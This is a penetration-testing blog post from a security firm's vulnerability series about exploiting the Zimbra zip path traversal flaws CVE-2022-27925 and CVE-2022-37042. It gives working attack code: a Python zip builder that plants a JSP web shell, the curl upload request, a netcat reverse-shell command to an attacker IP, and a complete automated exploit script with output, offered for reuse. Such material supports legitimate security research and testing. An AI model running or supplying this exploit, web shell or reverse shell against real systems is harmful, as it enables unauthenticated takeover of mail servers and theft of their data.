What the Vuln is a new series where in each episode our offensive security experts and hackers deep dive and zero-in on one specific vulnerability that plagues organizations – from origins and technical components to how pen testers can find and exploit the vulnerability. The first episode of our series will explore Zimbra.
Zimbra is a web-based email, calendar, and collaboration suite launched in July 2005. In April 2022, security researchers discovered that Zimbra Collaboration Suite (ZCS) Network Edition versions 8.8.15 Patch 30 and below, as well as versions 9.0.0 Patch 23 and below, are unprotected against a path traversal vulnerability. CVE-2022-27925 was assigned to this vulnerability.
Zimbra Collaboration Suite Network Edition includes functionality that allows customers to receive a ZIP archive and extract its contents to an arbitrary location on the host due to the path traversal vulnerability. This could be leveraged by hackers to achieve remote code execution on the target system. Note that the open-source edition is not affected.
While the path traversal vulnerability was first published last year, it has gained more traction, especially since working exploits have been published lately to achieve remote code execution.
An additional variant that could bypass authentication was later issued under CVE-2022-37042 and even a configurable click-to-run Metasploit module was made available.
Our first step towards exploitation is to detect if the server in question is vulnerable. During our analysis, we used several enumeration techniques to try to identify the exact version of Zimbra that is currently running on the server.
As a starting point, we’ll take a detailed look through the ZCS source code and try to find where the version number is displayed.
ZCS Network Edition version 8.8.12 was used during the creation of this blog post, so keep that in mind as that will be the number we’ll be looking for and appearing during the enumeration results.
Since we’re looking for a file that can help us discover the version number from a publicly accessible place, it makes sense to inspect only publicly accessible folders. This will restrict our search to the /opt/zimbra/jetty_base/webapps/zimbra
folder.
We’ll make use of the good ol’ grep tool to find the version string:
zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbra# grep -rn "8\.8\.12" . –color …omitted for brevity… ./downloads/.git/HEAD:1:ref: refs/heads/release/8.8.12 ./js/zimbraMail/share/model/ZmSettings.js:849: this.registerSetting("CLIENT_VERSION", {type:ZmSetting.T_CONFIG, defaultValue:"8.8.12_GA_3844"}); ./js/Startup1_2_all.js:2135: this.registerSetting("CLIENT_VERSION", {type:ZmSetting.T_CONFIG, defaultValue:"8.8.12_GA_3844"}); ./js/NewWindow_2_all.js:21273: this.registerSetting("CLIENT_VERSION", {type:ZmSetting.T_CONFIG, defaultValue:"8.8.12_GA_3844"}); ./help/.git/config:11: merge = refs/heads/release/8.8.12 …omitted for brevity…
Multiple matches are returned by grep; however, we can discard .git
and downloads folders since they are not accessible by default. The .git
folder probably would not be there on a production server and downloads/
is protected by basic authentication which we could try to crack, but we’ll leave it out for the purpose of this blog post.
This leaves us with three JavaScript files that, luckily for us, are publicly accessible and contain the exact version number of the Zimbra Collaboration Suite server.
The Zimbra web client interface allows us to access the files that can be used for fingerprinting; most of the time these files will be available since they are part of the web application section that is exposed to the public.
Browsing to the domain where ZCS is installed will reveal the web interface where you can subsequently look for the mentioned files.
…omitted for brevity… this.registerSetting("CLIENT_DATETIME", {type:ZmSetting.T_CONFIG, defaultValue:"20190819-0717"}); this.registerSetting("CLIENT_RELEASE", {type:ZmSetting.T_CONFIG, defaultValue:"20190819064612"}); this.registerSetting("CLIENT_VERSION", {type:ZmSetting.T_CONFIG, defaultValue:"8.8.12_GA_3844"}); this.registerSetting("CONFIG_PATH", {type:ZmSetting.T_CONFIG, defaultValue:appContextPath + "/js/zimbraMail/config"}); …omitted for brevity…
This is a crucial step that will help us save time and resources before sending the actual exploit payload or just sending it without knowing if the version is vulnerable and just hoping it works.
Finding a vulnerable version puts us in the right track; nevertheless, we need to confirm that the Zimbra server is in fact the Network Edition since the open-source version is not vulnerable to this path traversal attack.
To verify this, we will use grep once again to investigate the source and try to find some clues:
zimbra@zimbra:/opt/zimbra/jetty_base/webapps# grep -rnw "network edition" . –color ./zimbra/public/login.jsp:61: // Touch client exists only in network edition ./zimbraAdmin/help/en_US/delegated/delegated_admin/help_search.htm:88:<p>The results displayed are based on whether ZCS is the network edition ./zimbraAdmin/help/en_US/admin/html/search/help_search.htm:114:<p>The results displayed are based on whether ZCSis the network edition or the open source edition.</p> ./zimbraAdmin/help/en_US/admin/search/help_search.htm:130:<p>The results displayed are based on whether ZCSis the network edition or the open source edition.</p>
By looking at the results, we can infer that the login.jsp page is the target that most likely will help us because it can be browsed easily and without authentication. Notice the comment stating that the Touch version of ZCS is only available in the Network Edition.
Using the browser, we can access the login page again and look for the Version dropdown menu; clicking it will show the available options, amongst them we can find that the Touch option is included, confirming that this server is in fact the Network Edition of ZCS.
Now, we can continue gathering information for our exploit to work. A valid username is required for the final request, so we’ll need to find a real user.
Several methods can be used to achieve this goal, such as google dorks, social engineering, or a plain and simple process such as looking at the contact page in the main website.
Fortunately, almost every installation of ZCS does not remove the original admin user created while setting up the server, so the chances of it being a valid user are very high.
Zip path traversal also called Zip Slip is a vulnerability that occurs when extracting an archive with path traversal filenames (i.e. ../ paths), usually results in remote code execution. This not only affects Zip files but also bzip2, xz, tar, jar, war, cpio, apk, rar, and 7z.
Like a regular path traversal, it allows an attacker to traverse out of the expected location on the local file system and read from or write to an unexpected location.
With the valid username in place, we can move on to create the ZIP file that will trigger the path traversal vulnerability. To do this, we need to research where in the Zimbra server we are allowed to write files - and most importantly - read them, as that will be needed for remote code execution.
We could use basic enumeration techniques and tools such as Ffuf
or GoBuster
to find files and directories and try to locate a viable path via trial and error. However, this could take an unnecessary amount of time that we can use for debugging the exploit itself, so let’s choose another method.
Let’s go back again to the source code and look for public and writable folders. Once again, we will use the /opt/zimbra/jetty_base/webapps/zimbraAdmin/
path as our starting point:
zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbraAdmin# ls -l drwxr-xr-x 2 zimbra zimbra 4096 META-INF drwxr-xr-x 4 zimbra zimbra 4096 WEB-INF drwxr-xr-x 2 zimbra zimbra 4096 css drwxrwxr-x 3 zimbra zimbra 4096 help drwxr-xr-x 4 zimbra zimbra 4096 img drwxr-xr-x 5 zimbra zimbra 4096 js drwxr-xr-x 3 zimbra zimbra 4096 public drwxr-xr-x 6 zimbra zimbra 4096 skins drwxr-xr-x 5 zimbra zimbra 4096 templates drwxr-xr-x 3 zimbra zimbra 4096 yui
A folder named public seems like an excellent option for our use case; let’s see if it is in fact storing public files:
zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbraAdmin# ls -l public/ -rw-r--r-- 1 zimbra zimbra 1521 404.html -rw-r--r-- 1 zimbra zimbra 1534 5xx.html -rw-r--r-- 1 zimbra zimbra 2330 Boot.jsp -rw-r--r-- 1 zimbra zimbra 7845 Docs.jsp -rw-r--r-- 1 zimbra zimbra 4163 Offline.jsp -rw-r--r-- 1 zimbra zimbra 2780 Resources.jsp -rw-r--r-- 1 zimbra zimbra 11334 admin.jsp -rw-r--r-- 1 zimbra zimbra 1389 blank.html -rw-r--r-- 1 zimbra zimbra 2789 blankHistory.html -rw-r--r-- 1 zimbra zimbra 2131 empty.html -rw-r--r-- 1 zimbra zimbra 1710 insecureResponse.jsp drwxr-xr-x 2 zimbra zimbra 4096 jsp -rw-r--r-- 1 zimbra zimbra 2293 launch.html -rw-r--r-- 1 zimbra zimbra 1531 loadImgData.jsp -rw-r--r-- 1 zimbra zimbra 2959 noscript.jsp -rw-r--r-- 1 zimbra zimbra 1143 pre-cache.jsp -rw-r--r-- 1 zimbra zimbra 10455 secureRequest.jsp
We can confirm it has publicly accessible files by trying to access its contents in the browser:
Now we can create the Zip file with the path traversal string included in the contents file name.
For the payload, you can use a tool like sliver
or msfvenom
to create a custom port binding shellcode to the attack machine or upload a simple file that will read and execute the command passed to a GET request. In this blog post, we’ll be using the latter version, and since the Zimbra web interface itself is written in JSP, we’ll use that file type to achieve remote code execution. Let’s proceed to create the zip file.
There are several ways to create a zip file with path traversal elements such as evilarc
or the slipit
tools. In this case, we chose to do it manually using plain Python.
You can look at the code to create the file below:
from zipfile import ZipFile with ZipFile('bf.zip', 'w') as f: f.writestr('../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/bf.jsp', '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>')
We can verify its contents by running the following bash command:
carlosyanez@bishopfox% unzip -l bf.zip Archive: bf.zip Length Date Time Name --------- ---------- ----- ---- 59 10-11-2022 11:32 ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/bf.jsp --------- ------- 59 1 file
It’s time to perform a request to send the zip file to the server. We’ll send a POST
request using curl
with the file attached to it.
Keep in mind that to successfully trigger the vulnerability, our zip needs to be sent as data-binary
. Otherwise, the server will fail to correctly process the data, and no file will be created in the public folder.
You can see the complete curl command below:
curl --data-binary "@bf.zip" "https://example.com/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=1&append=1"
Since this is a vulnerability that can be exploited without authentication, a successful request will not return 200 as one would expect; instead, a 401 response should be returned from a successful request, as seen below:
<html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 401 no authtoken cookie</title> </head> <body><h2>HTTP ERROR 401</h2> <p>Problem accessing /service/extension/backup/mboximport. Reason: <pre> no authtoken cookie</pre></p> </body> </html>
Any other response code such as 404 will indicate the vulnerability was not triggered and that the target is probably not vulnerable. Unless of course, you are, in fact, authenticated with a valid user and send the request with the correct auth token which will return a 200-response code.
After successfully sending the zip file, the Zimbra server will extract it automatically and place it in the path traversal location set in the file name. Navigate to the specified URL, and write a command to confirm.
Keep in mind that the JSP code we sent does not return any output to the browser so you need to verify execution using another method such as a DNS request or if you’re feeling adventurous, you can send the reverse shell of your choice at this point:
Request:
https://example.com/zimbraAdmin/public/bf.jsp?cmd=nc -e /bin/bash 10.0.0.1 4444
Response:
carlosyanez@bishopfox% nc -lnv 4444 zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbraAdmin/public# uname -a Linux zimbra.bf 5.10.124-linuxkit x86_64 GNU/Linux
Now that we successfully accomplished triggering the path traversal vulnerability and achieved remote code execution, it would be a good idea to create a script to automate all the necessary steps to reproduce it against other targets and avoid performing all tasks manually each time.
Here is what a Python proof of concept looks like:
#!/usr/bin/env python3 # Usage: ./zimbra-CVE-2022-37042.py [hostname/ip] [lhost] [lport] [[username:optional] from io import BytesIO import requests import zipfile import sys import re requests.packages.urllib3.disable_warnings() target = sys.argv[1] lhost = sys.argv[2] lport = sys.argv[3] username = sys.argv[4] if len(sys.argv) > 4 else "admin" # Get server version r = requests.get(f"https://{target}/js/Startup1_2_all.js", verify=False) version = re.search("\d\.\d+\.\d+", r.text)[0] print(f"Detected version: {version}") # Check for network edition r = requests.get(f"https://{target}", verify=False) try: re.search("Touch</option>", r.text)[0] print("Network Edition confirmed...") except: print('Could not detect Network Edition, target is not vulnerable or try manually') exit(0) # Create ZIP file print("Creating ZIP file...") f = BytesIO() z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) z.writestr('../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbraAdmin/public/bf.jsp', '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>') z.close() # Send request print(f"Sending request with {username} as username...") r = requests.post(url=f'https://{target}/service/extension/backup/mboximport?account-name={username}&ow=1&no-switch=1&append=1', data=f.getvalue(), verify=False) print(f"Correct response: {r.status_code}") # Load uploaded file and wait for shell print("Getting shell...") r = requests.get(f"https://{target}/zimbraAdmin/public/bf.jsp?cmd=nc -e /bin/bash {lhost} {lport}", verify=False) if r.status_code == 200: print("200... Reverse shell successfully executed") else: print(f"Something went wrong, response code: {r.status_code}")
Now we can set up a netcat listener and run the script:
Request:
carlosyanez@bishopfox% ./zimbra-CVE-2022-37042.py zimbra.bf 10.10.0.1 4444 Detected version: 8.8.12 Network Edition confirmed... Creating ZIP file... Sending request with admin as username... Correct response: 401 Getting shell... 200... Reverse shell successfully executed
Response:
carlosyanez@bishopfox% nc -lnv 4444 zimbra@zimbra:/opt/zimbra/jetty_base/webapps/zimbraAdmin/public# uname -a Linux zimbra.bf 5.10.124-linuxkit x86_64 GNU/Linux
Feel free to use this PoC as a foundation for your custom exploit and to improve on it.
In this What the Vuln blog post, we dove into the Zimbra CVE-2022-27925/CVE-2022-37042 Zimbra Zip Path Traversal vulnerability and discovered how issues such as this one can be exploited from scratch, from target reconnaissance to an automated proof of concept exploit script. Additionally, these techniques can be applied to other kinds of vulnerabilities and can serve as a starting point for vulnerability discovery and exploit development.
To see this vulnerability in action and get even more details, listen to my livestream with Joe Sechman, AVP of Research & Development.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.